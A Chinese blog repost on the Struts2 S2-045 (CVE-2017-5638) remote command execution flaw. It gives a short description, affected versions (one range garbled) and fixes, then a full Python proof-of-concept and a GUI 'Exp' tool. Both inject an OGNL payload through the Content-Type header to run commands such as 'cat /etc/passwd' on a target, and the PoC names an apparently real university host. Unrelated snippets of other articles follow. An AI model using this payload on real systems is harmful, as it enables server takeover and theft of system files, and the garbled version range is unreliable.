struts2的漏洞

文章前半部分来自团队小伙伴阿德马的总结,后半部分的Poc和Exp是小编匆忙之际借鉴而来,感谢写Poc和Exp的伙伴~

安恒给官方上报的,然后官方选择了1个对国内来说比较敏感的时期发了公告出来,好蛋疼。

该漏洞的CVE编号是CVE-2017-5638(s2-045),攻击者利用该漏洞可以进行远程命令执行,从而获取更高的服务器权限。

漏洞描述:

查了点资料,发现跟struts2配置中struts.multipart.handler的设置有关,默认使用的就是Jakarta对应类org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest。也就是说struts2的此项设置使用了默认配置就会存在该漏洞。

攻击者通过修改http请求头中的Content-Type的值来触发该漏洞,进而执行命令获取更高的系统权限。

如图所示:

 

上图是使用了测试用poc对被攻击服务器执行了”whoami”的命令。

漏洞影响范围:

Struts 2.3.5 – Struts 2.3.3

Struts 2.5 – Struts 2.5.10

修复建议:

升级到Struts 2.3.32 或者 Struts 2.5.10.1(稳妥方法)

或者在struts2配置中修改struts.multipart.handler的配置(个人理解,未测试)

再贴个预警邮件,大家就都不用写了:

HI,ALL:

Apache Struts2又爆出了新的远程命令执行漏洞,对应CVE编号是CVE-2017-5638,请对受影响的struts2 版本进行升级处理。

Poc:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersheader1 ={
"Host":"alumnus.shu.edu.cn",
"Connection":"keep-alive",
"Refer":"alumnus.shu.edu.cn",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"Accept-Encoding":"deflate",
"Accept-Language":"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4",
}def poc():register_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]='''%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'''request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)response = urllib2.urlopen(request)print response.read()poc()

Exp:

#coding:utf-8
import urllib2
from Tkinter import *
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openersclass START():def __init__(self,root):self.root=rootself.show_W_Text = Text()self.show_url_ed = Label(root, text="str2")self.edit_url = Entry(root, text="输入地址")self.butt_whois = Button(root, text="kill",command=self.poc)self.show_url_ed.pack()self.edit_url.pack()self.butt_whois.pack()self.show_W_Text.pack()def poc(self):w_url = self.edit_url.get()text = self.show_W_Textregister_openers()datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"request = urllib2.Request(w_url, datagen, headers=header)response = urllib2.urlopen(request).read()text.insert(1.0, response)if __name__ == '__main__':root=Tk()root.title("str2 045")motion=START(root)mainloop()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/387762.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java Statement PK PrepareStatement

PreparedStatement是用来执行SQL查询语句的API之一,Java提供了 Statement、PreparedStatement 和 CallableStatement三种方式来执行查询语句,其中 Statement 用于通用查询, PreparedStatement 用于执行参数化查询,而 CallableStat…

mysql在linux 下安装

安装环境:系统是 centos6.5 1、下载 下载地址:http://dev.mysql.com/downloads/mysql/5.6.html#downloads 下载版本:我这里选择的5.6.33,通用版,linux下64位 也可以直接复制64位的下载地址,通过命令下载&a…

Leetcode PHP题解--D47 868. Binary Gap

2019独角兽企业重金招聘Python工程师标准>>> D47 868. Binary Gap 题目链接 868. Binary Gap 题目分析 给定一个数字,计算其二进制表示中,出现的两个1最大距离。 思路 当然是先转换成二进制了。再进行遍历。 当只有一个1时,返回0。…

[洛谷P5048][Ynoi2019模拟赛]Yuno loves sqrt technology III

题目大意:有$n(n\leqslant5\times10^5)$个数,$m(m\leqslant5\times10^5)$个询问,每个询问问区间$[l,r]$中众数的出现次数 题解:分块,设块大小为$S$,先可以预处理出两两块之间的众数出现次数,复杂…

C#接口实现多态

我比较喜欢对感兴趣的理论进行反复的理解甚至理解背诵下来,接下来再复习一下什么叫多态(哈哈哈) 多态:在同一粒度视图下对相同类型的事物不做区别的统一处理 接下来看一下接口和引擎类是如何实现多态的: 一、 1、创建了…

docker 网络 不好用 docker: Error response from daemon: failed to create endpoint jovial_wing on network b

启动容器时,有可能会遇到如下问题,比如启动redis容器: sudo docker run -d -p 6379:6379 --name redis redis:latest Linux代码docker: Error response from daemon: failed to create endpoint redis on network bridge: iptables failed: …

hadoop-hdfs-存储模型-架构模型-角色介绍

转载于:https://www.cnblogs.com/LXL616/p/10803978.html

docker 镜像 导入导出

很喜欢玩docker,但最新遇到一个问题,公司给的新机器的dns有问题,导致pull不下来镜像。 没办法了,没有镜像什么神马都干不了,又不能花很多时间去搭建私有的镜像库,只有另寻办法了。 废话少说,经…

使用Nginx+uWSGI部署Django项目

1.linux安装python3环境 参考链接:https://www.cnblogs.com/zzqit/p/10087680.html 2.安装uwsgi pip3 install uwsgiln -s /usr/local/python3/bin/uwsgi /usr/local/bin/uwsgi #建立软链接uwsgi --version #检查安装成功 3.基于uwsgidjango项目部署 django项目目…

Nagios使用check_mysql_health插件监控Mysql主机

基本信息 Nagios:Nagios core 4.4.3Nagios Plugins:check_mysql_health 2.2.2Mysql-server: 192.168.0.91db user:db操作流程:下载插件->安装插件->配置command->添加主机->添加服务安装插件 下载 wget https://labs.…

lsof使用

简介 lsof(list open files)是一个列出当前系统打开文件的工具。在linux环境下,任何事物都以文件的形式存在,通过文件不仅仅可以访问常规数据,还可以访问网络连接和硬件。所以如传输控制协议 (TCP) 和用户数据报协议 (UDP) 套接字等&#xf…

解题:2017清华集训 无限之环

题面 费用流 把每种水管再拆出来四个方向的接头,然后根据水管的形状连出旋转时的代价。最后黑白染色成二分图,然后白点对应的接头向黑点对应的接头连边,源点向白点自己连边,黑点自己向汇点连边。 怎么连边?我是大力讨论…

Node.js学习之(第二章:exports和module.exports)

前言 Node中,每个模块都有一个exports接口对象,我们需要把公共的方法或者字符串挂载在这个接口对象中,其他的模块才可以使用。 Node.js中只有模块作用域,默认两个模块之间的变量,方法互不冲突,互不影响&…

docker命令及挂载

常用命令所有镜像:docker images当前执行:docker ps提交保存docker容器: docker commit进入到对应服务:docker attach <container id>已经执行带容器:docker ps -l根据名称启动通过8081端口察看docker容器里的8080:docker run -i -t -d -p 8081:8080 -p23:22 ubuntu:ubun…

列表,元组,字典类的常见简单方法

一.列表&#xff08;list类&#xff09; 1.append&#xff08;&#xff09;&#xff1a;追加一个参数&#xff0c;参数可以为字符串&#xff0c;数字或列表等&#xff0c;将参数视为一个整体 2.clear&#xff08;&#xff09;&#xff1a;直接清空列表里的所有 3.count&#xf…

与图论的邂逅05:最近公共祖先LCA

什么是LCA&#xff1f; 祖先链 对于一棵树T&#xff0c;若它的根节点是r&#xff0c;对于任意一个树上的节点x&#xff0c;从r走到x的路径是唯一的(显然)&#xff0c;那么这条路径上的点都是并且只有这些点是x的祖先。这些点组成的链(或者说路径)就是x的祖先链。 LCA 根据名字来…

MAC地址进行验证的方法

需要对对应的MAC地址进行验证的方法&#xff0c;以为很简单就能过&#xff0c;鼓捣了半天以后才发现&#xff0c;我的机器是window7&#xff0c;查询出来是乱码&#xff0c;居然不给支持。没办法在网上继续找资料。终于找到了&#xff0c;贴上来&#xff0c;以备不时之需。 东西…

JAVA 分布式环境 Redis互斥锁

开始的时候项目没有添加互斥锁&#xff0c;用的依然是老的思路&#xff0c;在并发量增加的情况下&#xff0c;遇到了很多的问题&#xff0c;包括数据库重复读等&#xff0c;想了下考虑增加 互斥锁来排序对单个资源的操作。 Target(ElementType.METHOD) Retention(RetentionPoli…

相机添加多张图片css布局

<section class"feedback-upload"><aside class"photos"><div></div><div class"camera"></div></aside><aside class"tips"><div><span>选填0~4</span></div&…

移动端滑动操作学习

(function(window,document){var Slide function(box,judge,fun){if (!(this instanceof Slide)) return new Slide(box,judge,fun);var startx,starty;box.addEventListener("touchstart", function(e) {e.preventDefault(); // 阻止浏览器默认事件startx parseIn…